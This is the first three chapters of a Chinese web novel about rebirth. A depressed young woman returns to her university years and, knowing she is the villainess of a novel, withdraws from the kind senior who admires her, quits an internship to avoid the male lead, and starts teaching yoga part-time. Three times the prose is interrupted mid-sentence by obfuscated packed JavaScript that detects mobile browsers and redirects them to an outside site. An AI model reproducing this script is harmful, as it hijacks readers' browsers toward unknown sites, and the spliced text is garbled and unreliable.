《温柔男配的白月光重生了》 1. 第1章 “嗡嗡嗡——” 手机的震动声一响起，躺着发呆的高雯宛如惊弓之鸟，呼吸顿时急促了不少，下意识要蜷缩身子。 好在手机没有继续有动静，高雯没第一时间拿起手机，而是继续看着昏暗的床帘眼神空洞发呆。 这么狭小逼仄的空间，还有梆硬的床板，明显不是她租住的小公寓。 高雯平复了一会后，抬起手，修长的手指试探性掀开一点床帘。明亮的光线透了进来，她下意识眯了眼，目光所及之处，皆是熟悉的陈列。 这是她的大学寝室。 高雯意识到这个问题后，瞳孔一缩，猛地坐了起来。 更让她诧异的是，起身这个过程并不费力。 要知道，她已经在几年前就被确诊重度抑郁焦虑，每天要服用药物控制。对于常人来说，睡觉吃饭这种简单的事情，在她身上，都变得格外费力，时不时还伴随着惊恐发作。 高雯甚至都觉得自己病重了，已经精神恍惚。 她拿起床头的手机，看着上面的日期，更是呆滞住了。 刚刚的消息是一条垃圾短信，不过微信有一条未读，高雯下意识点开查看。 方寒：好的。明天早上十点，我在小区门口等你。晚安。 看到这个被刻意遗忘在心底的名字，高雯心底五味杂陈，她迫切想要证明些什么，掀开床帘，爬下了床。 一个小时后。 高雯坐在了出租车上，她打开车窗，看着外面不断掠过的高楼和风景，澄澈如洗的碧空上慢悠悠飘着几朵白云。 天气可真好，到处都是勃勃生机的气息。 对高雯而言，这一切如此珍贵难得，印象里，她已经三个月没出门了。 在焦虑抑郁的情绪作用下，行动变得费力，蜷缩躲在出租屋，强撑苟延存活着，爱美的她连镜子都不敢看。 “小姑娘，你要在哪里下车？”司机的话，将高雯的思绪拉了回来。 车子靠近小区门口，司机放缓了速度，高雯抬眸，便看到不远处那道高瘦颀长的身影，她张口道：“停这里就好。” “好的。我靠边停。” 出租车还未停下，等候已久的方寒早已看到车里的高雯，那张清秀俊朗的面容上扬起一抹温和的笑容，迈开长腿快步走去。 高雯结了账，伸手推开车门的同时打开了遮阳伞，隔住头顶炽热的太阳。 她一身休闲打扮，一件拼接的纯棉短袖配上白色的阔腿裤，戴着一顶奶白色的遮阳帽，半挡住那张白皙精致的瓜子脸。 高雯微微抬头，望向方寒的眼眸情绪涌动，站在原地并未往前。 “好久不见。”方寒嘴角含笑，率先开口和高雯打了招呼。 高雯喉咙有些发紧，握着伞的指尖有些发颤。 她稍稍低头，怕被方寒看出不对劲，扯了扯唇角道：“学长，好久不见。” 方寒笑意加深稍许，他拿起握在手中许久的鲜牛奶：“天气太热，我记得你不喝冰饮，喝点牛奶解解渴吧？” 高雯望着熟悉的瓶子，有些恍惚点了点头：“好。” 方寒快速旋开盖子，将牛奶递给她。 “谢谢。”高雯低头喝了口，牛奶是温的，入口奶香浓郁丝滑。 方寒是个十足细心温暖的人。 他给她带的牛奶，都是加温过的。 方寒侧了侧身子，随即往前：“我先带你去看看房子，”他说着往小区里不远处的一栋楼指了指，“那栋就是，三十七栋。” “嗯。”高雯看了一眼。 高雯跟着方寒身后，他非常有绅士风度，与她保持着一定的距离，刻意放慢脚步配合她的步伐。她望着他清瘦挺拔的背影，面上不动声色，实际上内心已经波涛汹涌。 方寒嗓音温和清缓介绍着：“这个小区位置很好，交通发达，去哪都方便，周围配套齐全，”说完一半，他停顿了下，记起高雯有喝牛奶的习惯，指了指楼下的一个小亭，“那里可以订牛奶和酸奶，每天都能送货上门。” 他说完笑了笑，看了眼她手中的牛奶：“不过没有你喜欢喝的这个牌子。” “我不挑。”高雯说出这话的时候，自己都有些心虚。 她手上这这个牌子的牛奶，价格比其他的短期鲜牛奶贵四五倍。 方寒则深信不疑：“那还是有不少选择，很多都是早上送来的鲜牛奶，我尝过了，味道也很好。” ...... 走到楼下。 方寒刷了卡，自动门打开，高雯收了伞，跟着他走进去。 “这边，”方寒加快脚步往前走，提前按了电梯，等高雯走来，两人一起进入电梯时，他出言道，“我们住在二十二层，2201。” 高雯点了点头。 电梯门关上，四周一下变得沉默，两个人的距离拉近，时间好似都放慢不少。 方寒的鼻翼隐约能闻到高雯身上散发的淡淡清香，他僵直着身子，垂落的手有些无处安放，不知道说些什么，只能盯着不断跳动的红色数字。 高雯握着伞，也没说话。 她盯着电梯前，余光扫了眼电梯上倒映出来方寒的身影，红唇一抿再抿，神色复杂。 高雯的记忆一直都很好，她印象里，方寒带她去看房子那天，就是这身打扮。 蓝色格子短衬衣配一条浅卡其色的裤子，脚上穿着一双洁白的板鞋，手上带着一个黑色的运动手表。 标准的程序员打扮，胜在他长得面容俊俏，看起来清爽干净，让人很舒服。 “滴——” 电梯门打开，却停在了十五楼。 一个带孩子的宝妈，推着婴儿车走进来。 电梯空间一下变小了，方寒往后退，高雯也自觉往里。 婴儿车太大，一下挤了不少空间，宝妈有些不好意思，“你们可以再往里走一点吗？” 方寒帮宝妈稳住婴儿车，同时往后退。 电梯门要关上了，高雯有些急，她伸手拉住方寒的衣摆拉了拉：“再往里些。” 方寒没设防，身子猛地往高雯那边倾斜，要往她身上靠，吓得他脸色骤变，连忙伸手撑住，生怕冒犯了她。 手表和电梯墙面碰撞，发出动静在电梯里异常响彻。 看着方寒有些尴尬局促又手足无措的样子，高雯一直紧绷的神经瞬间松弛下来，她唇角止不住翘了一个弧度，柳眉弯了弯：“学长，不好意思，我不是故意的。” “没事没事。”方寒站直，连忙说，“是我没站稳。” 等到电梯门再一次打开，就是二十二楼了。 高雯和方寒一起走了出来。 刚刚的那一场小意外，不仅化解了尴尬的气氛，就连高雯的心情，也不自觉舒缓不少、 她不禁感慨，方寒总是有这样的能力，让她卸下所有的不安防备。 他谦和有礼，清俊阳光又正直善良，是个人品十足好的人。 高雯和方寒相处的时候，从来都不设防，也不必有任何心理负担或者伪装。他尊重每一个人，也很包容。 “就是这了，”方寒拿出钥匙开门，等高雯走进来后，也没把门关上，而是开到最大，顺便打开了屋内所有的灯，“这间房是三室一厅，我住次卧，客厅隔出来的房间租给了一个女孩儿，她经常加班，书房是一个大哥租，我没见过几面，应该是经常出差。还剩一个主卧，你可以看看。” 他说完，拿出钥匙开了主卧的门。 高雯知道布局，她慢慢走了进去，一遍遍掠过再熟悉不过的场景，渐渐与脑海的记忆重合，握着伞的手指也在不断用力收紧。 主卧很干净，里面有一个小阳台，一张一米五的大床，还有一排柜子和化妆桌，浴室都是干湿分离，空间很大。 方寒的话在高雯耳边响起：“这间屋子之前是我同事住的，他和他女朋友要买房结婚了，合约还剩三个月，转租的话是两千七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543564|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个月。” 这个小区处于首都繁华地带，两千七块能租到一个带有阳台和独立浴室的主卧，性价比是相当高了。 高雯笑着转身，一脸歉意对方寒道：“算了学长，这个房子我租不了了。” 闻言，方寒稍楞，下意识出口：“为什么？是太贵了吗？” 他当时问过高雯，她说是离她上班的地方要近，价格在三千以内，要条件好点的主卧。 这个房子很符合要求，绝对没有第二套。 高雯握着她的伞，幽幽叹气：“房子很好，性价比很高，可惜我不争气，找的实习工作没能继续干下去，要辞职了，所以不需要租房子了。” 方寒了然，反而宽慰道：“没关系啊，你还没毕业，工作可以慢慢找，这没什么大不了的。” 高雯抿唇笑着往外走，解释说：“你费了很多心，所以我还是来看了看，万一我在附近又找到工作呢？到时候我就能租了。” “没费什么心思，你别和我客气，”方寒跟在她身后出去，顺手关了门，声线清朗宽慰她道，“这事一点都不用着急。” 两人下了楼，一路往外走。 眼看就要出小区，方寒将一路斟酌的话问出口：“好不容易见一面，我请你吃个饭吧？” 按道理来说，是应该吃饭的。 高雯记得，算上记忆里所谓的“前一世”，她还欠他不少顿饭。 此时，她却没犹豫，一脸无奈撒了谎：“学长，真是不凑巧，我接了个兼职，现在还要赶过去呢，下次好吗？” 方寒不想耽搁她，接话道：“来日方长，你先忙你的事情。” 高雯点了网约车，刚走出小区门口，司机就来了。 她上了车，冲着方寒摆了摆手：“学长再见。” “再见。”方寒脸上的笑容明朗阳光，他轻挥了挥手，只是目送出租车离开，嘴边的笑意迟迟未消。 汽车掉了头往前开，高雯关了车窗，还是没忍住扭头看了看那道笔挺的身影。 再一次回头时，她卸下了脸上伪装的轻松神色，取而代之的是沉重、愧疚、迷茫.... 高雯从今天早上醒来就觉得一切都不真实。 所以她来见了方寒。 要是记得没错的话，他们五年没见了。 听别人说，两人分开后，方寒到处在找她，而她没有和他见过一面，甚至躲着他。 没勇气，也没脸。 高雯一直都知道方寒喜欢她，他的喜欢温柔纯粹。在她毕业迷茫的时候，他尽力帮她找房子，帮她搬家，送她礼物，想方设法哄她开心。 准确来说，两人处于朋友之上，恋人未满。 高雯享受方寒付出，却迟迟没有确立两人的关系。她自私虚荣又冷漠有野心，认为方寒哪怕有首都大学本硕的学历，也配不上她。 首都的一套好房子得几千万，真靠方寒那点工资，就算年薪百万，那也得努力到什么时候？她想过的是上层人衣食无忧的生活。 她能和方寒和平共处，全是她对他的利用。 而方寒是个很有耐心的人，他小心翼翼守护，在高雯身上用了全部的心思，但也没有获得她的心。 高雯无时无刻不想另寻高枝，可惜最后不仅失败，还惹得一身骚，声名狼藉后落荒而逃，为此患上重度焦虑和重度抑郁，活得人不人鬼不鬼。 高雯回忆着自己那悲惨的“前一世”，或许时间过得太久，如今对她来说，就像做梦一样，而且还是一场噩梦。 她甚至觉得，是不是哪里搞错了？她不应该是这种结局。 高雯不清楚自己为什么转眼回到了五年前刚刚大四实习的时候，好似都回到了最原点。 饶是一切都还没弄明白，高雯却很清楚一个事情。 她要离方寒远远的。 这么热情阳光又真诚善良的人，不适合她。 这一次，她就当做一件好事，放过他吧。 2. 第2章 高雯回到校门口时，去了趟小吃街。 以往她习惯吃减脂餐，后来生病就对所有食物都失去兴趣。高雯这一次想要放纵一回，买了烤肉饭和炸鸡排，为了解腻，还买了一盒水果。 高雯走到寝室楼下，宿管阿姨从窗口探出头热情和她打招呼：“回来啦？” “对。”高雯笑了笑，“您吃饭了吗？” 她每个假期都会留校，自然有不少事要麻烦宿管阿姨，有空的时候也会经常帮宿管看门，关系处得不错。 “还没呢，一会诗诗给我送。”宿管阿姨回。 诗诗是宿管的女儿，高雯给她补过课。 简单寒暄后，高雯回到了寝室。 现在是大三的假期，室友们都回家了，只有她留校。 三年来，每一次假期，高雯都会留校，因为她无处可去。 高三那年，高父意外离世，宋洁卷着赔偿款，卖了房子消失了。这么些年，杳无音讯。 从那以后，从小娇生惯养的高雯就要自己养活自己。 高雯长着一张惊艳好看的脸，为此收获不少便利，她很聪明，家庭变故后，为了防止自己被算计惦记，只字不提。 在这种逆境下，高雯不仅把自己养得很好，还咬牙熬夜学习，逆袭考上了A大。哪怕分数低，报的专业不太好就业，但没关系，她觉得只要踏入了A大这个殿堂，来到了首都，就会有无数机会。 高雯认为，自己从来都不是一个向命运屈服的人，所以即使“前一世”，她患有严重的抑郁焦虑，身体精神饱受煎熬，她也从未有过轻生的念头。 她要活着，哪怕苟活。 高雯将买来的饭放在桌上，先去阳台洗脸，她今天没化妆，但擦了防晒，要第一时间卸掉。 洗好脸之后，高雯走回来坐下，打开包装袋，烤肉饭的香味飘出来。 高雯正准备吃饭，手机震动两下。 她伸手拿过来。 方寒：【到学校了吗？】 高雯放下筷子，纤细的手指打着字回：【嗯，刚买了饭回到寝室。】 方寒那边正在显示输入，却迟迟没发来消息。 高雯今天早上起得晚又急，早饭还没吃，就喝了一瓶牛奶，肚子早就饿了，她继续小口小口吃饭。 烤肉饭和鸡排都是油腻的食物，味道很香很好吃，高雯十分克制只吃了三分之一，哪怕她还没饱，也放下了筷子，水果倒是多吃了几块。 方寒的消息姗姗来迟：【工作的事情你别太着急，我当初找工作找了半年才稳定下来，简历都不知道投了多少份，你已经很厉害了。我会帮你留意适合你的工作岗位，距离你毕业还早着呢。】 高雯看到他这段消息的时候，忍不住上扬唇角。 她似乎都能想象得到这条消息他认认真真编辑了多少次，肯定还十足认真。 很快，高雯收敛了神色，她打了一段话，又删减掉，最后只发道：【谢谢学长。】 这几个字，客套礼貌。 方寒看到高雯回的消息时，想要再聊些什么，却不知道该怎么接话了。 她对他，其实可以不用那么客气。 * 吃完烤肉饭的高雯有些坐立不安。 对身材的严格管理从小就刻在了她的骨子里。 高雯挣扎一番后，认命从寝室的角落拿出了瑜伽垫，用抹布擦了一遍后，换上了瑜伽服，又搬来了椅子，把笔记本放在上面，打开了视频。 高雯坐在瑜伽砖上，轻轻闭上双眼，刨除自己内心的杂念。 假期的校园本就安静，加上是中午，除了窗外偶尔传来的鸟啼声，就是轻柔的音乐和轻柔的引导声：“把我们的身子向后弓，多一点，再多一点，深深吸气，再缓缓呼气——” 高雯的呼吸逐渐有些急促，汗水顺着她的脸颊，滑到下巴，一滴一滴落在瑜伽垫，双脚止不住在打颤。 她紧抿红唇，目光坚定盯着前方的聚点，身子毫无动摇。 直到视频里传来倒数最后一个数，高雯才不紧不慢，用呼吸带动身子，双手撑着地面，重新回到标准的下犬式。 视频已经结束，高雯的训练还在继续。 她给自己加强了难度，又练了二十分钟，不留一丝余力，最后累趴在瑜伽垫上，头发和衣服都湿透了，胸口上下起伏着。 高雯现在的体能，比起后两年，自然是差一些，但相对于生病前的她，自然强很多。 她的身体虽然很累，心情却很放松。 高雯闭眼缓一会，脑子里在复盘分析着自己如今的身体状况。 她学瑜伽的初衷是为了改变体态，变得更有气质和优雅。为此，她下了不少苦功夫，首先拼命兼职，攒够钱去报了上私教课，就是为了打好基础入门，学会正确发力，确保自己不受伤。 高雯身上有一股韧劲儿，她做什么都会竭尽全力做到最好，哪怕她的钱只够上一段时间的私教，后面只能跟大课，她也不断观察学习，看了不少营养学和康复学书籍。 这三年，她风雨无阻，每天都去瑜伽馆上课，还考了个瑜伽教练证，甚至在之后的几年，她有了经济能力，还曾出国拜师深造过。 高雯至今都想不通，她为什么会落到那般田地。 不过，想不通的事情，没必要内耗。 高雯站起身，收拾好瑜伽垫后，拿着睡衣去了浴室。洗完澡后，她坐下来，拿着昂贵的护肤品看着镜子，仔细认真往脸上抹，进行一道繁琐的工序。 高雯对自己素来苛刻，勤奋好学、早睡护肤、健身减脂、她一样都不落下。舍友都称纷纷表示，她这么美和耀眼，她们是一点都不嫉妒眼红。 因为高雯实在是太自律了，近乎魔鬼。 护肤结束后，高雯上了床，将床帘拉得严严实实，这才躺下睡觉。 她有生物钟，每天会午休半个小时。 这一觉，高雯睡得很不安稳。 她的额头不断有细汗溢出，拼命想醒来，却像是千斤重的石头压住了身体，动弹不得。 在高雯的脑海里，前一世的画面就像电影一样，一帧帧快速播放。 原来，这个世界是一本小说，而她，并不是小说里的女主角，而是令读者厌恶唾弃的炮灰女配。 她贪慕虚荣、自私功利、冷漠绝情又不择手段，还矫情造作，吃不得苦，吸血满分男配方寒，穿名牌衣服戴名牌包包，花着他的钱去高档餐厅见世面，之后再毫不留情把人抛弃掉，是个十恶不赦的恶毒女人。 书中对高雯的描写主要集中在前半部分，她在公司里不断作死，一边和方寒合租暧昧，享受他的呵护和照顾，另一方面勾引男主林珩，企图高嫁到本地。 因为高雯的不断作死，男女主感情才能快速升温，顺利在一起，之后她就得“功成身退”，名声狼藉退场，被作者安排狼狈逃到外地，随便给了个重度抑郁焦虑的下场，求生不得求死不能，痛苦活着，平息读者的怒火。 高雯看着读者对她的结局不断拍手叫好，额头的冷汗不断往外冒，挣扎的力度不断加大。 高雯觉得不公平，仿佛她的存在，就是按照书中的故事线，一遍遍做一些自己都不能理解的事情，去成全所谓的世界主角。 而且，书中只写了男女主在一起的甜蜜，并没有写她离开前，废了很大心力，将方寒主动送给她的礼物折算，凑足钱打入了他的银行卡。 她固然有自己的野心和小心思，想过好的生活，却从未真正想要吸血任何人。 小说的最后，只用简单的一句话概括高雯的结局：因被病痛折磨，骨瘦如柴，惨死于出租屋，臭了才被发现。 “不！”高雯紧紧攥着拳头，用尽力气猛地睁眼，眸光里皆是反抗和不甘。 这个结局，她决不接受。 她要活着，活得好好的！ * 翌日，凌晨五点半。 高雯被闹钟吵醒，她睡得早，没有赖床，起身就下了床。 寝室七点才来电，外面的天色未亮，高雯打开了台灯，看着黑漆漆的屋外，心跳不自觉加速。 她怕黑。 经历了那几年后，长期一个人待在出租屋里，更怕黑了，睡觉从来都不会开灯。 早上六点，天边泛起鱼肚白，寝室还没开门，但宿管阿姨会给高雯破例，对方开了门，打着哈欠道：“快上班去吧。” “谢谢阿姨。” “去吧去吧。”宿管阿姨眯着眼，睡意朦胧又折回去。 今天周一，高雯要去上班。 其余室友还在家里享受假期的时候，她找到了实习工作，月薪六千一个月，但因为是实习，还算不错，专业对口。 就是公司里离学校远，就那点工资，自然不可能打车去，得坐公交，再转地铁，单程就得一个半小时，所以高雯才急于找房子。 她做事喜欢高效，哪怕付出多点钱，也要尽可能给自己多留点时间。 因为通勤太长，高雯每天晚上回到寝室就已经精疲力尽，洗洗就该睡了，早上又匆匆醒，以往早上和晚上的瑜伽锻炼都被迫终止，这是她不能接受的。 八点半，高雯就已经来了公司，此时公司还没人。她今天早起匆忙加上寝室黑漆漆，她没心思化妆再来，先去洗手间化了妆，出来时，点的外卖正好送到。 高雯慢悠悠吃了早餐，同事们才一个个踩着点正在打卡。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543565|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周一上班的第一件事就是例行早会。 高雯拿着本子，跟着同事往会议室走。 她一个实习生自然要走在最后，坐在边角上，尽可能减少自己的存在感。 开会时，高雯的心思也不在上面。 等到会议结束，大家纷纷回到工位，高雯又起身，去了总监的办公室。 大家看到这一幕，面面相觑，忍不住小声议论：“她去找总监干什么？没看到总监今天心情不好啊？要往火枪上撞吗？” “谁知道呢？”另一个女职员笑着调侃，她说着看了眼旁边伸长脖子的男同事，“你这么关心，要不去听听墙角，说不定还能英雄救美一下。” “去就去，这有什么？”男同事说完反道，“她是实习生，多包容点也应该啊。” “哟哟哟，你还不是看人家漂亮，怎么不见你对其他实习生多包容包容？”女职员说话酸他。 高雯入职的第一天，在办公室就掀起不小风浪。 她长得漂亮，那张脸白净清透，身材更是柔细纤瘦。加上年纪小，还很单纯，这群老油条早就虎视眈眈。 办公室的女同事多少对高雯带有审视，之前可有不少实习生翻车或者“恃宠而骄”，但高雯与先前的实习生都不同。 高雯有着敏锐的生存本能，入职第一天她就分析出来了，与男前辈保持距离，再和女前辈亲近，能给自己减少很多麻烦。 她迅速又清醒作出对自己有利的决定，有效阻挡在她看来的烂桃花。 同时，高雯在公司眼里有活又勤快，不卑不亢，脾气又极好，饶是再刁钻的女前辈，都不好意思光明正大针对她。 不过说酸话的人也有，旁边的一个卷发女职员意有所指插话：“英雄救美要让林副总监去，你们这些外地人去了，人家都看不上的。” “高雯长得这么漂亮，肯定是以嫁到首都本地为目标啊。林副总监这么帅又是高层，家里在二环有四合院，同样是A大毕业，简直是六边形战士啊。” “人家眼光高着呢。” 她这么说，可不是毫无凭证。 高雯私底下主动加林珩的联系方式，她可是知道的。 从门口回来的林珩正好听到这话，脚步顿了顿，剑眉蹙了蹙。 高雯的确单独给他发过几次消息，虽说是工作上的事情，但也让人感觉有些刻意，各种往他身上贴的人，他见过太多了。 其他人听到这话，心里多少是有些不舒服，尤其是那几个单身的男同事，一下止了声。 周围倏然寂静下来，总监办公室里的声音传了出来，清晰入了每个人的耳：“你要辞职？是工作上有什么不如意吗？” 卷发女职员一听都愣了愣，按照她的设想，高雯在公司待着，就是为了靠近林珩，想要勾搭上他飞上枝头变凤凰。 高雯居然要辞职？ 办公室再一次议论纷纷。 没一会，高雯出来，她脸色如常往工位走。 还没坐下来，与她关系还算不错的女前辈就忍不住问：“你要辞职啊？为什么啊？虽然工作辛苦点，我们公司对你来说可是个好机会，不要冲动。” 高雯唇角含笑轻快道：“姐，我发现我做不到热爱这一行，所以就没必要浪费时间了，趁着还没毕业，我要去试试其他行业。” “总监说，今天和明天我要把手头的工作跟你交接一下，麻烦你啦。” 对于高雯来说，这里是她被剧情操控的地方，之后她会疯狂私底下勾引男主角林珩，不断作死，成为男女主角感情路上的垫脚石。 当下她必须从源头斩断这一切。 高雯坚定的辞职态度和对未来豁达积极的心态，直接让事情来了个大反转，平常私底下时不时要说几句话酸高雯的卷发女职员都没了声。 人家压根志不在此，都是他们思想龌龊。 就连林珩，都为自己误解高雯而有些神色不太自然，快步回了办公室。 因高雯马上要离职，大家突然觉得她很好，经常帮他们干活，还任劳任怨打扫卫生，时不时给他们带点好吃的，人美心善，说话又甜，简直是最受欢迎的一个实习生。 办公室里居然生出一种舍不得她离开的气氛。 高雯却很理智，她非常清楚，真正带着光环的女主角会在几个月后来这里工作，到时候，所有人都会追捧女主角，她会成为衬托女主角善良的恶毒炮灰。 这个炮灰女配，她不想当！ 午休期间。 高雯来到泡茶室，她给自己冲了杯花茶。 转身之际，看到门口的林珩，直接把她吓了一激灵。 “我这么可怕？”林珩拧了拧眉。 3. 第3章 “林副总监，你这走路没声音，突然出现谁都会害怕。”高雯面上带着恰到好处的笑，握着茶杯的手却用力收紧。 可怕。 当然可怕。 如果不是林珩，她又怎么会落得那样恐怖的下场？ 纵使林珩的条件的确不错，身为男主角也长着一张不俗的脸，但他和方寒是截然不同的两种人。 林珩今年二十八岁，比他们都大，自然成熟，过了今年，总监就会被调到国外，他就顺利登上总监的位置。 年纪轻轻，前途无量。 比起方寒的谦和温润，真诚热情，林珩则是小说里标准的霸总形象，他沉稳理性，性格冷漠，是个工作狂，骨子里还带着首都本地人公子哥那点难以掩饰的傲慢。 若不是剧情操控，高雯想不明白自己怎么会对林珩做出那么多近乎脑残的纠缠，在她看来，偌大首都，那么多男人，何必死磕这一个？ 林珩薄唇微启，看向高雯的眸光深黑：“你还年轻气盛，总觉得未来有无限可能，但现实很残酷，没那么多童话。你获得这个实习资格不容易，不要轻易丢了。” “我可以替你和总监说声，就当你的辞职是冲动。你好好工作，没准不用毕业就能转正。” 他之前误会了高雯，的确不太想让她转正，省得碍眼。 现在平心而论，她足够努力刻苦，态度端正，是个好员工，没毕业就可能转正是他给她吃的定心丸。 林珩突然作出诱人的承诺，非但没让高雯受宠若惊，反而把她吓得后背汗毛竖起。 这不是把她往火坑里推吗？ 高雯喝了口茶，拼命稳住心态，那双清透的眸子望向林珩：“谢谢林副总监，只是我真的不喜欢这一行。” 林珩面无表情：“没有人喜欢工作。” “我有我喜欢的东西，”高雯毫不犹豫接话，“干这一行不一定能干好，换一行，也不一定会差，人生还是有无限可能，不试试谁知道呢？” 林珩望着那双清透明亮的美眸里流露出来的坚持和笃定，一时哑然。 高雯捧着茶水，临走前还不忘再次向林珩道谢。 林珩觉得她虽年少幼稚了些，的确有礼有节。 殊不知，高雯离开走得飞快，步伐都凌乱起来，恨不得连夜坐火车跑。 本来两天才交接完的工作，高雯效率太高，仅用了一个下午就交接完成，顺道把离职手续都办好了。 她收拾东西离开后，一群人都没反应过来。 林珩知道这个消息时，出来看着她空荡荡的工位，陷入了沉思。 * 高雯并没有提前找到工作，纯粹是想远离那个公司，远离林珩这个“噩梦源头”。 对于未来的方向，她心里也有了计划。 高雯练了几年瑜伽，之后又进修过一年，功底比市面上大部分教练都扎实。她本来想毕业后稳定当个副业，如今没了工作，生计都成了问题，自然要先解决温饱。 高雯决定去附近的商场看看，就算找不到工作，去人气多的地方也能放松心情。 商场的五楼有一家瑜伽馆，高雯在门口看了一会，走了进去。 “您好，欢迎光临梵盈瑜伽馆。”前台不动声色上下打量了高雯一眼，带着热络的笑意。 高雯走过去询问：“你们这招瑜伽老师吗？” 前台见不是顾客，脸上笑意顿时消散大半。他们这种瑜伽馆，又开在商场，瑜伽老师多得很，隔三差五就有人来问，烦都烦死了。 不过，高雯长相实在亮眼，她穿着简单的白色短袖配一条修身牛仔裤，脖颈修长，双腿纤细笔直，体态均匀优雅。 前台把打发的话咽下，再次上下打量高雯几眼：“你有瑜伽证吗？练几年了？” 有些会员很挑，长得好看和身材好，也是资源，不然怎么骗会员多买课？ 高雯：“我练了三年，考了瑜伽证，自学了不少康复学和营养学知识。” 其实算起来不止三年，也足够用了，进修对她来说是“上一世”的事情，拿不出证据。 “你留个电话吧，我会跟店长说。”前台把本子随意翻了翻，把笔丢了过去，“需要人的话，我们这边会安排试课。” “谢谢。” 高雯留下自己的联系方式就离开了。 这一家瑜伽馆一看就不缺人，她没抱太大希望。 走出来后，高雯看到对面有一家健身房。 她想了想，往健身房走。如果没记错的话，健身房也会开放瑜伽课，很多新手瑜伽老师会跑馆兼职。 高雯进去问的时候，正好一个女经理在，她看到高雯的第一眼，眼前瞬间亮了。 女经理说道：“我们这里没有全职的瑜伽老师，都是兼职。” “我找的就是兼职。”高雯说。 “现在方便试课吗？”女经理问。 高雯一时没反应过来，而后第一时间道，“我随时都可以。” 女经理喊来了一个女教练，又找了一间空教室。 高雯一直都是自己练，没给人上过课，但她丝毫不怯场，大不了就当练习。 不过，她上得还不错，最起码让那个女教练觉得不错。对方还看着她纤细的身材笑道：“你们学瑜伽的就是好啊，个个都纤细挺拔，不像我们健身房出来的，有些粗壮。”说完，她还摸摸自己手臂上的肌肉，没忍住笑了。 高雯虽不这么认为，但回想健身房里刚刚那几个腹肌胸肌的大块头，多少有些沉默。 女经理没让高雯回去等消息，而是问：“这个周你能来上课吗？” 高雯：“可以的。” “那就好，”女经理点头，“健身房一个周也有四节瑜伽课，其中一节已经有另一个老师上了，剩下的三节还没人，你看看时间选一选，如果有空的话，最好是都由你来，这样的话，你和会员熟悉些，课程能连贯。” “我刚刚看了一会，你还蛮专业，”女经理说完又直言笑道，“主要是，你的气质跟得上，一看就是练瑜伽的。” 好看的人，都很养眼！ 高雯象征性看了眼课程，回复道：“我都可以上。” 一节课一个小时，工作量不大。 她现在巴不得兼职能多赚点。 “那行，就从这个周开始吧。”女经理让高雯录入信息，双方又加了微信。 “我今晚就做课程安排，到时候给您发一份。”顺利找到兼职，高雯没掩饰自己的欢喜，翘了翘嘴角。 健身房的主打课程不是瑜伽，要求其实没那么严格， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543566|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但谁不想各方面都专业一点？ 高雯这个工作态度，女经理就很满意了，笑着点头：“行。” 一个周三节课，一节课一百五，一个月也有一千八。 高雯很满意了，她走出来，低头打开了地图，心里盘算着再找到一份类似的兼职，经济问题就解决了。 “高雯？” 闻言，高雯条件反射抬头，看到方寒就站在她跟前，白润的脸蛋带着诧异，眸子都瞪圆了：“学长，你怎么在这？” 方寒看着她白皙清丽的脸，心没由来跳动一下，情不自禁笑着解释道：“同事说这里新开了一家健身房做活动，让我陪他来看看。” 高雯了然，收起神色：“这样啊。” 方寒看了看高雯，倒也没问她为什么在这，而是主动邀请，“一起吃个饭？” 方寒态度诚恳，说话间那股认真劲儿，还有眼神里的清澈透亮，都让高雯很难再三拒绝，她想着，以后说不定就没见面的机会了，便答应下来。 “你想吃什么？”方寒笑意陡然加深，开口问她。 高雯：“都可以，我不挑。” 方寒认真研究了下这个商场的美食，最后两人去了一家吃酸汤火锅的店。 点菜的时候，高雯没客气，点了好几样自己想吃的。 这顿饭，她想请方寒吃，其实早就应该请了。 点好餐后，方寒给高雯倒了杯茶，他找着话题和她聊，聊论文开题，聊学校，聊食堂新开的小吃店......他就是避开了她的工作和实习。 方寒并不是一个健谈的人，高雯看得出来他在绞尽脑汁，这幅样子让她再一次失笑：“学长，我今天正式办理辞职了，工作交接也完成了。” “挺好的。”方寒说完，小声宽慰，“你可以好好休息一段时间，不着急的，你现在距离毕业还有不少时间。要是我遇到适合你的岗位，我会帮你留意。” “我找到兼职了，还不错。”高雯又说。 至于什么兼职，她没告诉方寒。 方寒没多问，只是为她高兴，心里悄悄松了一口气笑道，“我大四那会都没找到兼职，兜兜转转绕一大圈，快到毕业才来到这家公司，你已经很厉害了。” 他说的是实话，他由衷觉得她积极上进，很厉害。 “学长，”高雯突然叫了方寒一声。 “嗯？”方寒端茶的动作顿了顿，温柔回应。 